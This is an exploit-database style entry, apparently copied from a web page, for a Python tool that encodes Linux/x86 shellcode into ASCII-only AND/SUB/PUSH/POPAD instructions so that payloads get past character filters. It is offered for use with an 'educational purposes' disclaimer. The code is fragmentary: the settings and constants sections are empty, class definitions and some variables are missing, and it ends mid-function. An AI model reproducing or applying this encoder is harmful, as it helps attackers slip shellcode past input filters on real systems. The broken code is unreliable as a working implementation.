Exploits / Vulnerability Discovered : 2019-06-27 |
Type : shellcode |
Platform : linux_x86
This exploit / vulnerability Linux/x86 ascii and, sub, push, popad encoder shellcode is for educational purposes only and if it is used you will do on your own risk!
# Encoder Title: ASCII shellcode encoder via AND, SUB, PUSH, POPAD
# Date: 26.6.2019
# Encoder Author: Petr Javorik, www.mmquant.net
# Tested on: Linux ubuntu 3.13.0-32-generic, x86
# Special thx to: Corelanc0d3r for intro to this technique
#
# Description:
# This encoder is based on egghunter found in https://www.exploit-db.com/exploits/5342
# Core idea is that every dword can be derived using 3 SUB instructions
# with operands consisting strictly of ASCII compatible bytes.
#
# What it does?:
# Suppose that we want to push \x05\xEB\xD1\x8B (0x8BD1EB05) to the stack.
# Then we can do it as follows:
#
# AND EAX, 3F465456
# AND EAX, 40392B29 ; Two AND instructions zero EAX
# SUB EAX, 3E716230 ; Subtracting 3 dwords consisting
# SUB EAX, 5D455523 ; of ASCII compatible bytes from 0x00000000
# SUB EAX, 5E5D7722 ; we get EAX = 0x8BD1EB05
# PUSH EAX
# Mandatory bytes:
# \x25 AND EAX, imm32
# \x2d SUB EAX, imm32
# \x50 PUSH EAX
# \x61 POPAD
# How to use:
# Edit the SETTINGS section and simply run as
# ./ASCIIencoder
# ProTip:
# Take special attention to the memory between the end of decoder instructions
# and the beginning of decoded shellcode. Program flow must seamlessly step over
# this memory. If this "bridge memory area" contains illegal opcodes they can
# be rewritten with additional PUSH instruction appended to the end of generated
# shellcode. Use for example PUSH 0x41414141.
import itertools
import struct
import random
import sys
assert sys.version_info >= (3, 6)
################################################################################
# CONSTANTS - no changes needed here
################################################################################
################################################################################
# SETTINGS - enter shellcode, select character set and bad chars
################################################################################
################################################################################
# CORE - no changes needed here
################################################################################
for badchar in self.badchars:
self.charset = self.charset.replace(bytes([badchar]), b'')
self.nops = self.nops.replace(bytes([badchar]), b'')
def derive_dwords_sub(self):
def get_sub_encoding_bytes(target):
"""
target x y z
0x100 - (0x21+0x21) = 0xbe
We need to select x, y, z such that it gives target when summed and all of
x, y, z is ASCII and non-badchar
"""
# Get all possible solutions
all_xy = list(itertools.combinations_with_replacement(self.charset, 2))
results = []
for x, y in all_xy:
z = target - (x + y)
# Get only bytes which are ASCII and non-badchar
if (0 < z < 256) and (z in self.charset):
results.append({
'x': x,
'y': y,
'z': z,
'of': True if target >= 0x100 else False
})
# Choose random solution
return random.choice(results)
for dword in struct.iter_unpack('<L', self.shellcode):
encoded_block = []
for byte_ in struct.pack('>L', twos_comp):
# Will overflow be used when calculating this byte using 3 SUB instructions?
if byte_ / 3 < min(self.charset):
byte_ += 0x100
encoded_block.append(
get_sub_encoding_bytes(byte_))
pass
self.encoded_dwords.append(encoded_block)
def compensate_overflow(self):
# If neighbor lower byte overflow then subtract 1 from max(x, y, z)
for dword in self.encoded_dwords:
for solution, next_solution in zip(dword, dword[1:]):
if next_solution['of']:
max_value_key = max(solution, key=solution.get)
solution[max_value_key] -= 1
def derived_dwords_to_sub_operands(self):
for dword in self.encoded_dwords:
sub_operand_0 = struct.pack('<BBBB',
*[solution['x'] for solution in dword])
sub_operand_1 = struct.pack('<BBBB',
*[solution['y'] for solution in dword])
sub_operand_2 = struct.pack('<BBBB',
*[solution['z'] for solution in dword])
# Check if calculated dwords for SUB instruction give 2's complement if they are summed
for twos_comp, sub_operand in zip(self.twos_comps, self.sub_operands):
sup_operand_sum = sum(
[int.from_bytes(dw, byteorder='big') for dw in sub_operand])
# Correction of sum if there is overflow on the highest byte
if sup_operand_sum > 0xffffffff:
sup_operand_sum -= 0x100000000
assert (twos_comp == sup_operand_sum)
def compile_payload(self):
def derive_bytes_and():
all_xy = list(itertools.combinations_with_replacement(self.charset, 2))
results = []
for x, y in all_xy:
if x + y == 127:
results.append((x, y))
while 1:
yield random.choice(results)
def derive_dwords_and():
gen_bytes = derive_bytes_and()
bytes_ = []
for _ in range(0, 4):
bytes_.append(next(gen_bytes))
return bytes_
# POPAD n times to adjust ESP.
# Decoded shellcode must be written after the decoder stub
self.payload += b'\x61' * (len(self.encoded_dwords))
for sub_operand in reversed(self.sub_operands):
# Clearing EAX instructions with AND instructions
bytes_ = derive_dwords_and()
self.payload += b'\x25' + struct.pack('<BBBB',
*[byte_[0] for byte_ in bytes_])
self.payload += b'\x25' + struct.pack('<BBBB',
*[byte_[1] for byte_ in bytes_])